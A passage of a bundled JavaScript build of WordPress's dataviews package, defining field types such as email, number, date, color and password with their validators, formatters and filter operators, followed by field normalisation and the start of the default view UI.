38124 return false;
38125 }
38126 const value = field.getValue({ item });
38127 if ([void 0, "", null].includes(value)) {
38128 return true;
38129 }
38130 return String(value).length <= field.isValid.maxLength.constraint;
38131 }
38132
38133 // packages/dataviews/build-module/field-types/utils/is-valid-pattern.mjs
38134 function isValidPattern(item, field) {
38135 if (field.isValid.pattern?.constraint === void 0) {
38136 return true;
38137 }
38138 try {
38139 const regexp = new RegExp(field.isValid.pattern.constraint);
38140 const value = field.getValue({ item });
38141 if ([void 0, "", null].includes(value)) {
38142 return true;
38143 }
38144 return regexp.test(String(value));
38145 } catch {
38146 return false;
38147 }
38148 }
38149
38150 // packages/dataviews/build-module/field-types/utils/is-valid-elements.mjs
38151 function isValidElements(item, field) {
38152 const elements2 = field.elements ?? [];
38153 const validValues = elements2.map((el) => el.value);
38154 if (validValues.length === 0) {
38155 return true;
38156 }
38157 const value = field.getValue({ item });
38158 return [].concat(value).every((v2) => validValues.includes(v2));
38159 }
38160
38161 // packages/dataviews/build-module/field-types/utils/get-value-formatted-default.mjs
38162 function getValueFormatted({
38163 item,
38164 field
38165 }) {
38166 return field.getValue({ item });
38167 }
38168 var get_value_formatted_default_default = getValueFormatted;
38169
38170 // packages/dataviews/build-module/field-types/email.mjs
38171 var emailRegex = /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
38172 function isValidCustom(item, field) {
38173 const value = field.getValue({ item });
38174 if (![void 0, "", null].includes(value) && !emailRegex.test(value)) {
38175 return (0, import_i18n120.__)("Value must be a valid email address.");
38176 }
38177 return null;
38178 }
38179 var email_default = {
38180 type: "email",
38181 render,
38182 Edit: "email",
38183 sort: sort_text_default,
38184 enableSorting: true,
38185 enableGlobalSearch: false,
38186 defaultOperators: [OPERATOR_IS_ANY2, OPERATOR_IS_NONE2],
38187 validOperators: [
38188 OPERATOR_IS2,
38189 OPERATOR_IS_NOT,
38190 OPERATOR_CONTAINS,
38191 OPERATOR_NOT_CONTAINS,
38192 OPERATOR_STARTS_WITH,
38193 // Multiple selection
38194 OPERATOR_IS_ANY2,
38195 OPERATOR_IS_NONE2,
38196 OPERATOR_IS_ALL,
38197 OPERATOR_IS_NOT_ALL
38198 ],
38199 format: {},
38200 getValueFormatted: get_value_formatted_default_default,
38201 validate: {
38202 required: isValidRequired,
38203 pattern: isValidPattern,
38204 minLength: isValidMinLength,
38205 maxLength: isValidMaxLength,
38206 elements: isValidElements,
38207 custom: isValidCustom
38208 }
38209 };
38210
38211 // packages/dataviews/build-module/field-types/integer.mjs
38212 var import_i18n121 = __toESM(require_i18n(), 1);
38213
38214 // packages/dataviews/build-module/field-types/utils/sort-number.mjs
38215 var sort_number_default = (a2, b2, direction) => {
38216 return direction === "asc" ? a2 - b2 : b2 - a2;
38217 };
38218
38219 // packages/dataviews/build-module/field-types/utils/is-valid-min.mjs
38220 function isValidMin(item, field) {
38221 if (typeof field.isValid.min?.constraint !== "number") {
38222 return false;
38223 }
38224 const value = field.getValue({ item });
38225 if ([void 0, "", null].includes(value)) {
38226 return true;
38227 }
38228 return Number(value) >= field.isValid.min.constraint;
38229 }
38230
38231 // packages/dataviews/build-module/field-types/utils/is-valid-max.mjs
38232 function isValidMax(item, field) {
38233 if (typeof field.isValid.max?.constraint !== "number") {
38234 return false;
38235 }
38236 const value = field.getValue({ item });
38237 if ([void 0, "", null].includes(value)) {
38238 return true;
38239 }
38240 return Number(value) <= field.isValid.max.constraint;
38241 }
38242
38243 // packages/dataviews/build-module/field-types/integer.mjs
38244 var format2 = {
38245 separatorThousand: ","
38246 };
38247 function getValueFormatted2({
38248 item,
38249 field
38250 }) {
38251 let value = field.getValue({ item });
38252 if (value === null || value === void 0) {
38253 return "";
38254 }
38255 value = Number(value);
38256 if (!Number.isFinite(value)) {
38257 return String(value);
38258 }
38259 let formatInteger;
38260 if (field.type !== "integer") {
38261 formatInteger = format2;
38262 } else {
38263 formatInteger = field.format;
38264 }
38265 const { separatorThousand } = formatInteger;
38266 const integerValue = Math.trunc(value);
38267 if (!separatorThousand) {
38268 return String(integerValue);
38269 }
38270 return String(integerValue).replace(
38271 /\B(?=(\d{3})+(?!\d))/g,
38272 separatorThousand
38273 );
38274 }
38275 function isValidCustom2(item, field) {
38276 const value = field.getValue({ item });
38277 if (![void 0, "", null].includes(value) && !Number.isInteger(value)) {
38278 return (0, import_i18n121.__)("Value must be an integer.");
38279 }
38280 return null;
38281 }
38282 var integer_default = {
38283 type: "integer",
38284 render,
38285 Edit: "integer",
38286 sort: sort_number_default,
38287 enableSorting: true,
38288 enableGlobalSearch: false,
38289 defaultOperators: [
38290 OPERATOR_IS2,
38291 OPERATOR_IS_NOT,
38292 OPERATOR_LESS_THAN,
38293 OPERATOR_GREATER_THAN,
38294 OPERATOR_LESS_THAN_OR_EQUAL,
38295 OPERATOR_GREATER_THAN_OR_EQUAL,
38296 OPERATOR_BETWEEN
38297 ],
38298 validOperators: [
38299 // Single-selection
38300 OPERATOR_IS2,
38301 OPERATOR_IS_NOT,
38302 OPERATOR_LESS_THAN,
38303 OPERATOR_GREATER_THAN,
38304 OPERATOR_LESS_THAN_OR_EQUAL,
38305 OPERATOR_GREATER_THAN_OR_EQUAL,
38306 OPERATOR_BETWEEN,
38307 // Multiple-selection
38308 OPERATOR_IS_ANY2,
38309 OPERATOR_IS_NONE2,
38310 OPERATOR_IS_ALL,
38311 OPERATOR_IS_NOT_ALL
38312 ],
38313 format: format2,
38314 getValueFormatted: getValueFormatted2,
38315 validate: {
38316 required: isValidRequired,
38317 min: isValidMin,
38318 max: isValidMax,
38319 elements: isValidElements,
38320 custom: isValidCustom2
38321 }
38322 };
38323
38324 // packages/dataviews/build-module/field-types/number.mjs
38325 var import_i18n122 = __toESM(require_i18n(), 1);
38326 var format3 = {
38327 separatorThousand: ",",
38328 separatorDecimal: ".",
38329 decimals: 2
38330 };
38331 function getValueFormatted3({
38332 item,
38333 field
38334 }) {
38335 let value = field.getValue({ item });
38336 if (value === null || value === void 0) {
38337 return "";
38338 }
38339 value = Number(value);
38340 if (!Number.isFinite(value)) {
38341 return String(value);
38342 }
38343 let formatNumber;
38344 if (field.type !== "number") {
38345 formatNumber = format3;
38346 } else {
38347 formatNumber = field.format;
38348 }
38349 const { separatorThousand, separatorDecimal, decimals } = formatNumber;
38350 const fixedValue = value.toFixed(decimals);
38351 const [integerPart, decimalPart] = fixedValue.split(".");
38352 const formattedInteger = separatorThousand ? integerPart.replace(/\B(?=(\d{3})+(?!\d))/g, separatorThousand) : integerPart;
38353 return decimals === 0 ? formattedInteger : formattedInteger + separatorDecimal + decimalPart;
38354 }
38355 function isEmpty2(value) {
38356 return value === "" || value === void 0 || value === null;
38357 }
38358 function isValidCustom3(item, field) {
38359 const value = field.getValue({ item });
38360 if (!isEmpty2(value) && !Number.isFinite(value)) {
38361 return (0, import_i18n122.__)("Value must be a number.");
38362 }
38363 return null;
38364 }
38365 var number_default = {
38366 type: "number",
38367 render,
38368 Edit: "number",
38369 sort: sort_number_default,
38370 enableSorting: true,
38371 enableGlobalSearch: false,
38372 defaultOperators: [
38373 OPERATOR_IS2,
38374 OPERATOR_IS_NOT,
38375 OPERATOR_LESS_THAN,
38376 OPERATOR_GREATER_THAN,
38377 OPERATOR_LESS_THAN_OR_EQUAL,
38378 OPERATOR_GREATER_THAN_OR_EQUAL,
38379 OPERATOR_BETWEEN
38380 ],
38381 validOperators: [
38382 // Single-selection
38383 OPERATOR_IS2,
38384 OPERATOR_IS_NOT,
38385 OPERATOR_LESS_THAN,
38386 OPERATOR_GREATER_THAN,
38387 OPERATOR_LESS_THAN_OR_EQUAL,
38388 OPERATOR_GREATER_THAN_OR_EQUAL,
38389 OPERATOR_BETWEEN,
38390 // Multiple-selection
38391 OPERATOR_IS_ANY2,
38392 OPERATOR_IS_NONE2,
38393 OPERATOR_IS_ALL,
38394 OPERATOR_IS_NOT_ALL
38395 ],
38396 format: format3,
38397 getValueFormatted: getValueFormatted3,
38398 validate: {
38399 required: isValidRequired,
38400 min: isValidMin,
38401 max: isValidMax,
38402 elements: isValidElements,
38403 custom: isValidCustom3
38404 }
38405 };
38406
38407 // packages/dataviews/build-module/field-types/text.mjs
38408 var text_default = {
38409 type: "text",
38410 render,
38411 Edit: "text",
38412 sort: sort_text_default,
38413 enableSorting: true,
38414 enableGlobalSearch: false,
38415 defaultOperators: [OPERATOR_IS_ANY2, OPERATOR_IS_NONE2],
38416 validOperators: [
38417 // Single selection
38418 OPERATOR_IS2,
38419 OPERATOR_IS_NOT,
38420 OPERATOR_CONTAINS,
38421 OPERATOR_NOT_CONTAINS,
38422 OPERATOR_STARTS_WITH,
38423 // Multiple selection
38424 OPERATOR_IS_ANY2,
38425 OPERATOR_IS_NONE2,
38426 OPERATOR_IS_ALL,
38427 OPERATOR_IS_NOT_ALL
38428 ],
38429 format: {},
38430 getValueFormatted: get_value_formatted_default_default,
38431 validate: {
38432 required: isValidRequired,
38433 pattern: isValidPattern,
38434 minLength: isValidMinLength,
38435 maxLength: isValidMaxLength,
38436 elements: isValidElements
38437 }
38438 };
38439
38440 // packages/dataviews/build-module/field-types/datetime.mjs
38441 var import_date7 = __toESM(require_date(), 1);
38442 var format4 = {
38443 datetime: (0, import_date7.getSettings)().formats.datetime,
38444 weekStartsOn: (0, import_date7.getSettings)().l10n.startOfWeek
38445 };
38446 function getValueFormatted4({
38447 item,
38448 field
38449 }) {
38450 const value = field.getValue({ item });
38451 if (["", void 0, null].includes(value)) {
38452 return "";
38453 }
38454 let formatDatetime;
38455 if (field.type !== "datetime") {
38456 formatDatetime = format4;
38457 } else {
38458 formatDatetime = field.format;
38459 }
38460 return (0, import_date7.dateI18n)(formatDatetime.datetime, (0, import_date7.getDate)(value));
38461 }
38462 var sort = (a2, b2, direction) => {
38463 const timeA = new Date(a2).getTime();
38464 const timeB = new Date(b2).getTime();
38465 return direction === "asc" ? timeA - timeB : timeB - timeA;
38466 };
38467 var datetime_default = {
38468 type: "datetime",
38469 render,
38470 Edit: "datetime",
38471 sort,
38472 enableSorting: true,
38473 enableGlobalSearch: false,
38474 defaultOperators: [
38475 OPERATOR_ON,
38476 OPERATOR_NOT_ON,
38477 OPERATOR_BEFORE2,
38478 OPERATOR_AFTER2,
38479 OPERATOR_BEFORE_INC,
38480 OPERATOR_AFTER_INC,
38481 OPERATOR_IN_THE_PAST,
38482 OPERATOR_OVER
38483 ],
38484 validOperators: [
38485 OPERATOR_ON,
38486 OPERATOR_NOT_ON,
38487 OPERATOR_BEFORE2,
38488 OPERATOR_AFTER2,
38489 OPERATOR_BEFORE_INC,
38490 OPERATOR_AFTER_INC,
38491 OPERATOR_IN_THE_PAST,
38492 OPERATOR_OVER
38493 ],
38494 format: format4,
38495 getValueFormatted: getValueFormatted4,
38496 validate: {
38497 required: isValidRequired,
38498 elements: isValidElements
38499 }
38500 };
38501
38502 // packages/dataviews/build-module/field-types/date.mjs
38503 var import_date8 = __toESM(require_date(), 1);
38504 var format5 = {
38505 date: (0, import_date8.getSettings)().formats.date,
38506 weekStartsOn: (0, import_date8.getSettings)().l10n.startOfWeek
38507 };
38508 function getValueFormatted5({
38509 item,
38510 field
38511 }) {
38512 const value = field.getValue({ item });
38513 if (["", void 0, null].includes(value)) {
38514 return "";
38515 }
38516 let formatDate2;
38517 if (field.type !== "date") {
38518 formatDate2 = format5;
38519 } else {
38520 formatDate2 = field.format;
38521 }
38522 return (0, import_date8.dateI18n)(formatDate2.date, (0, import_date8.getDate)(value));
38523 }
38524 var sort2 = (a2, b2, direction) => {
38525 const timeA = new Date(a2).getTime();
38526 const timeB = new Date(b2).getTime();
38527 return direction === "asc" ? timeA - timeB : timeB - timeA;
38528 };
38529 var date_default = {
38530 type: "date",
38531 render,
38532 Edit: "date",
38533 sort: sort2,
38534 enableSorting: true,
38535 enableGlobalSearch: false,
38536 defaultOperators: [
38537 OPERATOR_ON,
38538 OPERATOR_NOT_ON,
38539 OPERATOR_BEFORE2,
38540 OPERATOR_AFTER2,
38541 OPERATOR_BEFORE_INC,
38542 OPERATOR_AFTER_INC,
38543 OPERATOR_IN_THE_PAST,
38544 OPERATOR_OVER,
38545 OPERATOR_BETWEEN
38546 ],
38547 validOperators: [
38548 OPERATOR_ON,
38549 OPERATOR_NOT_ON,
38550 OPERATOR_BEFORE2,
38551 OPERATOR_AFTER2,
38552 OPERATOR_BEFORE_INC,
38553 OPERATOR_AFTER_INC,
38554 OPERATOR_IN_THE_PAST,
38555 OPERATOR_OVER,
38556 OPERATOR_BETWEEN
38557 ],
38558 format: format5,
38559 getValueFormatted: getValueFormatted5,
38560 validate: {
38561 required: isValidRequired,
38562 elements: isValidElements
38563 }
38564 };
38565
38566 // packages/dataviews/build-module/field-types/boolean.mjs
38567 var import_i18n123 = __toESM(require_i18n(), 1);
38568
38569 // packages/dataviews/build-module/field-types/utils/is-valid-required-for-bool.mjs
38570 function isValidRequiredForBool(item, field) {
38571 const value = field.getValue({ item });
38572 return value === true;
38573 }
38574
38575 // packages/dataviews/build-module/field-types/boolean.mjs
38576 function getValueFormatted6({
38577 item,
38578 field
38579 }) {
38580 const value = field.getValue({ item });
38581 if (value === true) {
38582 return (0, import_i18n123.__)("True");
38583 }
38584 if (value === false) {
38585 return (0, import_i18n123.__)("False");
38586 }
38587 return "";
38588 }
38589 function isValidCustom4(item, field) {
38590 const value = field.getValue({ item });
38591 if (![void 0, "", null].includes(value) && ![true, false].includes(value)) {
38592 return (0, import_i18n123.__)("Value must be true, false, or undefined");
38593 }
38594 return null;
38595 }
38596 var sort3 = (a2, b2, direction) => {
38597 const boolA = Boolean(a2);
38598 const boolB = Boolean(b2);
38599 if (boolA === boolB) {
38600 return 0;
38601 }
38602 if (direction === "asc") {
38603 return boolA ? 1 : -1;
38604 }
38605 return boolA ? -1 : 1;
38606 };
38607 var boolean_default = {
38608 type: "boolean",
38609 render,
38610 Edit: "checkbox",
38611 sort: sort3,
38612 validate: {
38613 required: isValidRequiredForBool,
38614 elements: isValidElements,
38615 custom: isValidCustom4
38616 },
38617 enableSorting: true,
38618 enableGlobalSearch: false,
38619 defaultOperators: [OPERATOR_IS2, OPERATOR_IS_NOT],
38620 validOperators: [OPERATOR_IS2, OPERATOR_IS_NOT],
38621 format: {},
38622 getValueFormatted: getValueFormatted6
38623 };
38624
38625 // packages/dataviews/build-module/field-types/media.mjs
38626 var media_default2 = {
38627 type: "media",
38628 render: () => null,
38629 Edit: null,
38630 sort: () => 0,
38631 enableSorting: false,
38632 enableGlobalSearch: false,
38633 defaultOperators: [],
38634 validOperators: [],
38635 format: {},
38636 getValueFormatted: get_value_formatted_default_default,
38637 // cannot validate any constraint, so
38638 // the only available validation for the field author
38639 // would be providing a custom validator.
38640 validate: {}
38641 };
38642
38643 // packages/dataviews/build-module/field-types/array.mjs
38644 var import_i18n124 = __toESM(require_i18n(), 1);
38645
38646 // packages/dataviews/build-module/field-types/utils/is-valid-required-for-array.mjs
38647 function isValidRequiredForArray(item, field) {
38648 const value = field.getValue({ item });
38649 return Array.isArray(value) && value.length > 0 && value.every(
38650 (element) => ![void 0, "", null].includes(element)
38651 );
38652 }
38653
38654 // packages/dataviews/build-module/field-types/array.mjs
38655 function getValueFormatted7({
38656 item,
38657 field
38658 }) {
38659 const value = field.getValue({ item });
38660 const arr = Array.isArray(value) ? value : [];
38661 return arr.join(", ");
38662 }
38663 function render2({ item, field }) {
38664 return getValueFormatted7({ item, field });
38665 }
38666 function isValidCustom5(item, field) {
38667 const value = field.getValue({ item });
38668 if (![void 0, "", null].includes(value) && !Array.isArray(value)) {
38669 return (0, import_i18n124.__)("Value must be an array.");
38670 }
38671 if (!value.every((v2) => typeof v2 === "string")) {
38672 return (0, import_i18n124.__)("Every value must be a string.");
38673 }
38674 return null;
38675 }
38676 var sort4 = (a2, b2, direction) => {
38677 const arrA = Array.isArray(a2) ? a2 : [];
38678 const arrB = Array.isArray(b2) ? b2 : [];
38679 if (arrA.length !== arrB.length) {
38680 return direction === "asc" ? arrA.length - arrB.length : arrB.length - arrA.length;
38681 }
38682 const joinedA = arrA.join(",");
38683 const joinedB = arrB.join(",");
38684 return direction === "asc" ? joinedA.localeCompare(joinedB) : joinedB.localeCompare(joinedA);
38685 };
38686 var array_default = {
38687 type: "array",
38688 render: render2,
38689 Edit: "array",
38690 sort: sort4,
38691 enableSorting: true,
38692 enableGlobalSearch: false,
38693 defaultOperators: [OPERATOR_IS_ANY2, OPERATOR_IS_NONE2],
38694 validOperators: [
38695 OPERATOR_IS_ANY2,
38696 OPERATOR_IS_NONE2,
38697 OPERATOR_IS_ALL,
38698 OPERATOR_IS_NOT_ALL
38699 ],
38700 format: {},
38701 getValueFormatted: getValueFormatted7,
38702 validate: {
38703 required: isValidRequiredForArray,
38704 elements: isValidElements,
38705 custom: isValidCustom5
38706 }
38707 };
38708
38709 // packages/dataviews/build-module/field-types/password.mjs
38710 function getValueFormatted8({
38711 item,
38712 field
38713 }) {
38714 return field.getValue({ item }) ? "\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022" : "";
38715 }
38716 var password_default = {
38717 type: "password",
38718 render,
38719 Edit: "password",
38720 sort: () => 0,
38721 // Passwords should not be sortable for security reasons
38722 enableSorting: false,
38723 enableGlobalSearch: false,
38724 defaultOperators: [],
38725 validOperators: [],
38726 format: {},
38727 getValueFormatted: getValueFormatted8,
38728 validate: {
38729 required: isValidRequired,
38730 pattern: isValidPattern,
38731 minLength: isValidMinLength,
38732 maxLength: isValidMaxLength,
38733 elements: isValidElements
38734 }
38735 };
38736
38737 // packages/dataviews/build-module/field-types/telephone.mjs
38738 var telephone_default = {
38739 type: "telephone",
38740 render,
38741 Edit: "telephone",
38742 sort: sort_text_default,
38743 enableSorting: true,
38744 enableGlobalSearch: false,
38745 defaultOperators: [OPERATOR_IS_ANY2, OPERATOR_IS_NONE2],
38746 validOperators: [
38747 OPERATOR_IS2,
38748 OPERATOR_IS_NOT,
38749 OPERATOR_CONTAINS,
38750 OPERATOR_NOT_CONTAINS,
38751 OPERATOR_STARTS_WITH,
38752 // Multiple selection
38753 OPERATOR_IS_ANY2,
38754 OPERATOR_IS_NONE2,
38755 OPERATOR_IS_ALL,
38756 OPERATOR_IS_NOT_ALL
38757 ],
38758 format: {},
38759 getValueFormatted: get_value_formatted_default_default,
38760 validate: {
38761 required: isValidRequired,
38762 pattern: isValidPattern,
38763 minLength: isValidMinLength,
38764 maxLength: isValidMaxLength,
38765 elements: isValidElements
38766 }
38767 };
38768
38769 // packages/dataviews/build-module/field-types/color.mjs
38770 var import_i18n125 = __toESM(require_i18n(), 1);
38771 var import_jsx_runtime252 = __toESM(require_jsx_runtime(), 1);
38772 function render3({ item, field }) {
38773 if (field.hasElements) {
38774 return /* @__PURE__ */ (0, import_jsx_runtime252.jsx)(RenderFromElements, { item, field });
38775 }
38776 const value = get_value_formatted_default_default({ item, field });
38777 if (!value || !w(value).isValid()) {
38778 return value;
38779 }
38780 return /* @__PURE__ */ (0, import_jsx_runtime252.jsxs)("div", { style: { display: "flex", alignItems: "center", gap: "8px" }, children: [
38781 /* @__PURE__ */ (0, import_jsx_runtime252.jsx)(
38782 "div",
38783 {
38784 style: {
38785 width: "16px",
38786 height: "16px",
38787 borderRadius: "50%",
38788 backgroundColor: value,
38789 border: "1px solid #ddd",
38790 flexShrink: 0
38791 }
38792 }
38793 ),
38794 /* @__PURE__ */ (0, import_jsx_runtime252.jsx)("span", { children: value })
38795 ] });
38796 }
38797 function isValidCustom6(item, field) {
38798 const value = field.getValue({ item });
38799 if (![void 0, "", null].includes(value) && !w(value).isValid()) {
38800 return (0, import_i18n125.__)("Value must be a valid color.");
38801 }
38802 return null;
38803 }
38804 var sort5 = (a2, b2, direction) => {
38805 const colorA = w(a2);
38806 const colorB = w(b2);
38807 if (!colorA.isValid() && !colorB.isValid()) {
38808 return 0;
38809 }
38810 if (!colorA.isValid()) {
38811 return direction === "asc" ? 1 : -1;
38812 }
38813 if (!colorB.isValid()) {
38814 return direction === "asc" ? -1 : 1;
38815 }
38816 const hslA = colorA.toHsl();
38817 const hslB = colorB.toHsl();
38818 if (hslA.h !== hslB.h) {
38819 return direction === "asc" ? hslA.h - hslB.h : hslB.h - hslA.h;
38820 }
38821 if (hslA.s !== hslB.s) {
38822 return direction === "asc" ? hslA.s - hslB.s : hslB.s - hslA.s;
38823 }
38824 return direction === "asc" ? hslA.l - hslB.l : hslB.l - hslA.l;
38825 };
38826 var color_default = {
38827 type: "color",
38828 render: render3,
38829 Edit: "color",
38830 sort: sort5,
38831 enableSorting: true,
38832 enableGlobalSearch: false,
38833 defaultOperators: [OPERATOR_IS_ANY2, OPERATOR_IS_NONE2],
38834 validOperators: [
38835 OPERATOR_IS2,
38836 OPERATOR_IS_NOT,
38837 OPERATOR_IS_ANY2,
38838 OPERATOR_IS_NONE2
38839 ],
38840 format: {},
38841 getValueFormatted: get_value_formatted_default_default,
38842 validate: {
38843 required: isValidRequired,
38844 elements: isValidElements,
38845 custom: isValidCustom6
38846 }
38847 };
38848
38849 // packages/dataviews/build-module/field-types/url.mjs
38850 var url_default = {
38851 type: "url",
38852 render,
38853 Edit: "url",
38854 sort: sort_text_default,
38855 enableSorting: true,
38856 enableGlobalSearch: false,
38857 defaultOperators: [OPERATOR_IS_ANY2, OPERATOR_IS_NONE2],
38858 validOperators: [
38859 OPERATOR_IS2,
38860 OPERATOR_IS_NOT,
38861 OPERATOR_CONTAINS,
38862 OPERATOR_NOT_CONTAINS,
38863 OPERATOR_STARTS_WITH,
38864 // Multiple selection
38865 OPERATOR_IS_ANY2,
38866 OPERATOR_IS_NONE2,
38867 OPERATOR_IS_ALL,
38868 OPERATOR_IS_NOT_ALL
38869 ],
38870 format: {},
38871 getValueFormatted: get_value_formatted_default_default,
38872 validate: {
38873 required: isValidRequired,
38874 pattern: isValidPattern,
38875 minLength: isValidMinLength,
38876 maxLength: isValidMaxLength,
38877 elements: isValidElements
38878 }
38879 };
38880
38881 // packages/dataviews/build-module/field-types/no-type.mjs
38882 var sort6 = (a2, b2, direction) => {
38883 if (typeof a2 === "number" && typeof b2 === "number") {
38884 return sort_number_default(a2, b2, direction);
38885 }
38886 return sort_text_default(a2, b2, direction);
38887 };
38888 var no_type_default = {
38889 // type: no type for this one
38890 render,
38891 Edit: null,
38892 sort: sort6,
38893 enableSorting: true,
38894 enableGlobalSearch: false,
38895 defaultOperators: [OPERATOR_IS2, OPERATOR_IS_NOT],
38896 validOperators: getAllOperatorNames(),
38897 format: {},
38898 getValueFormatted: get_value_formatted_default_default,
38899 validate: {
38900 required: isValidRequired,
38901 elements: isValidElements
38902 }
38903 };
38904
38905 // packages/dataviews/build-module/field-types/utils/get-is-valid.mjs
38906 function getIsValid(field, fieldType) {
38907 let required;
38908 if (field.isValid?.required === true && fieldType.validate.required !== void 0) {
38909 required = {
38910 constraint: true,
38911 validate: fieldType.validate.required
38912 };
38913 }
38914 let elements2;
38915 if ((field.isValid?.elements === true || // elements is enabled unless the field opts-out
38916 field.isValid?.elements === void 0 && (!!field.elements || !!field.getElements)) && fieldType.validate.elements !== void 0) {
38917 elements2 = {
38918 constraint: true,
38919 validate: fieldType.validate.elements
38920 };
38921 }
38922 let min;
38923 if (typeof field.isValid?.min === "number" && fieldType.validate.min !== void 0) {
38924 min = {
38925 constraint: field.isValid.min,
38926 validate: fieldType.validate.min
38927 };
38928 }
38929 let max;
38930 if (typeof field.isValid?.max === "number" && fieldType.validate.max !== void 0) {
38931 max = {
38932 constraint: field.isValid.max,
38933 validate: fieldType.validate.max
38934 };
38935 }
38936 let minLength;
38937 if (typeof field.isValid?.minLength === "number" && fieldType.validate.minLength !== void 0) {
38938 minLength = {
38939 constraint: field.isValid.minLength,
38940 validate: fieldType.validate.minLength
38941 };
38942 }
38943 let maxLength;
38944 if (typeof field.isValid?.maxLength === "number" && fieldType.validate.maxLength !== void 0) {
38945 maxLength = {
38946 constraint: field.isValid.maxLength,
38947 validate: fieldType.validate.maxLength
38948 };
38949 }
38950 let pattern;
38951 if (field.isValid?.pattern !== void 0 && fieldType.validate.pattern !== void 0) {
38952 pattern = {
38953 constraint: field.isValid?.pattern,
38954 validate: fieldType.validate.pattern
38955 };
38956 }
38957 const custom = field.isValid?.custom ?? fieldType.validate.custom;
38958 return {
38959 required,
38960 elements: elements2,
38961 min,
38962 max,
38963 minLength,
38964 maxLength,
38965 pattern,
38966 custom
38967 };
38968 }
38969
38970 // packages/dataviews/build-module/field-types/utils/get-filter.mjs
38971 function getFilter(fieldType) {
38972 return fieldType.validOperators.reduce((accumulator, operator) => {
38973 const operatorObj = getOperatorByName(operator);
38974 if (operatorObj?.filter) {
38975 accumulator[operator] = operatorObj.filter;
38976 }
38977 return accumulator;
38978 }, {});
38979 }
38980
38981 // packages/dataviews/build-module/field-types/utils/get-format.mjs
38982 function getFormat(field, fieldType) {
38983 return {
38984 ...fieldType.format,
38985 ...field.format
38986 };
38987 }
38988 var get_format_default = getFormat;
38989
38990 // packages/dataviews/build-module/field-types/index.mjs
38991 function getFieldTypeByName(type) {
38992 const found = [
38993 email_default,
38994 integer_default,
38995 number_default,
38996 text_default,
38997 datetime_default,
38998 date_default,
38999 boolean_default,
39000 media_default2,
39001 array_default,
39002 password_default,
39003 telephone_default,
39004 color_default,
39005 url_default
39006 ].find((fieldType) => fieldType?.type === type);
39007 if (!!found) {
39008 return found;
39009 }
39010 return no_type_default;
39011 }
39012 function normalizeFields(fields) {
39013 return fields.map((field) => {
39014 const fieldType = getFieldTypeByName(field.type);
39015 const getValue = field.getValue || get_value_from_id_default(field.id);
39016 const sort7 = function(a2, b2, direction) {
39017 const aValue = getValue({ item: a2 });
39018 const bValue = getValue({ item: b2 });
39019 return field.sort ? field.sort(aValue, bValue, direction) : fieldType.sort(aValue, bValue, direction);
39020 };
39021 return {
39022 id: field.id,
39023 label: field.label || field.id,
39024 header: field.header || field.label || field.id,
39025 description: field.description,
39026 placeholder: field.placeholder,
39027 getValue,
39028 setValue: field.setValue || set_value_from_id_default(field.id),
39029 elements: field.elements,
39030 getElements: field.getElements,
39031 hasElements: hasElements(field),
39032 isVisible: field.isVisible,
39033 enableHiding: field.enableHiding ?? true,
39034 readOnly: field.readOnly ?? false,
39035 // The type provides defaults for the following props
39036 type: fieldType.type,
39037 render: field.render ?? fieldType.render,
39038 Edit: getControl(field, fieldType.Edit),
39039 sort: sort7,
39040 enableSorting: field.enableSorting ?? fieldType.enableSorting,
39041 enableGlobalSearch: field.enableGlobalSearch ?? fieldType.enableGlobalSearch,
39042 isValid: getIsValid(field, fieldType),
39043 filterBy: get_filter_by_default(
39044 field,
39045 fieldType.defaultOperators,
39046 fieldType.validOperators
39047 ),
39048 filter: getFilter(fieldType),
39049 format: get_format_default(field, fieldType),
39050 getValueFormatted: field.getValueFormatted ?? fieldType.getValueFormatted
39051 };
39052 });
39053 }
39054
39055 // packages/dataviews/build-module/hooks/use-data.mjs
39056 var import_element120 = __toESM(require_element(), 1);
39057 function useData(data, isLoading, paginationInfo) {
39058 const previousDataRef = (0, import_element120.useRef)(data);
39059 const previousPaginationInfoRef = (0, import_element120.useRef)(paginationInfo);
39060 const [hasInitiallyLoaded, setHasInitiallyLoaded] = (0, import_element120.useState)(
39061 !isLoading
39062 );
39063 (0, import_element120.useEffect)(() => {
39064 if (!isLoading) {
39065 previousDataRef.current = data;
39066 previousPaginationInfoRef.current = paginationInfo;
39067 setHasInitiallyLoaded(true);
39068 }
39069 }, [data, isLoading, paginationInfo]);
39070 return {
39071 data: isLoading && previousDataRef.current?.length ? previousDataRef.current : data,
39072 paginationInfo: isLoading && previousDataRef.current?.length ? previousPaginationInfoRef.current : paginationInfo,
39073 hasInitiallyLoaded
39074 };
39075 }
39076
39077 // packages/dataviews/build-module/dataviews/index.mjs
39078 var import_jsx_runtime253 = __toESM(require_jsx_runtime(), 1);
39079 var defaultGetItemId = (item) => item.id;
39080 var defaultIsItemClickable = () => true;
39081 var EMPTY_ARRAY9 = [];
39082 var dataViewsLayouts = VIEW_LAYOUTS.filter(
39083 (viewLayout) => !viewLayout.isPicker
39084 );
39085 function DefaultUI({
39086 header,
39087 search = true,
39088 searchLabel = void 0
39089 }) {
39090 return /* @__PURE__ */ (0, import_jsx_runtime253.jsxs)(import_jsx_runtime253.Fragment, { children: [
39091 /* @__PURE__ */ (0, import_jsx_runtime253.jsxs)(
39092 Stack,
39093 {
39094 direction: "row",
39095 align: "top",
39096 justify: "space-between",
39097 className: "dataviews__view-actions",
39098 gap: "xs",
39099 children: [
39100 /* @__PURE__ */ (0, import_jsx_runtime253.jsxs)(
39101 Stack,
39102 {
39103 direction: "row",
39104 justify: "start",
39105 gap: "sm",
39106 className: "dataviews__search",
39107 children: [
39108 search && /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(dataviews_search_default, { label: searchLabel }),
39109 /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(toggle_default, {})
39110 ]
39111 }
39112 ),
39113 /* @__PURE__ */ (0, import_jsx_runtime253.jsxs)(Stack, { direction: "row", gap: "xs", style: { flexShrink: 0 }, children: [
39114 /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(dataviews_view_config_default, {}),
39115 header
39116 ] })
39117 ]
39118 }
39119 ),
39120 /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(filters_toggled_default, { className: "dataviews-filters__container" }),
39121 /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(DataViewsLayout, {}),
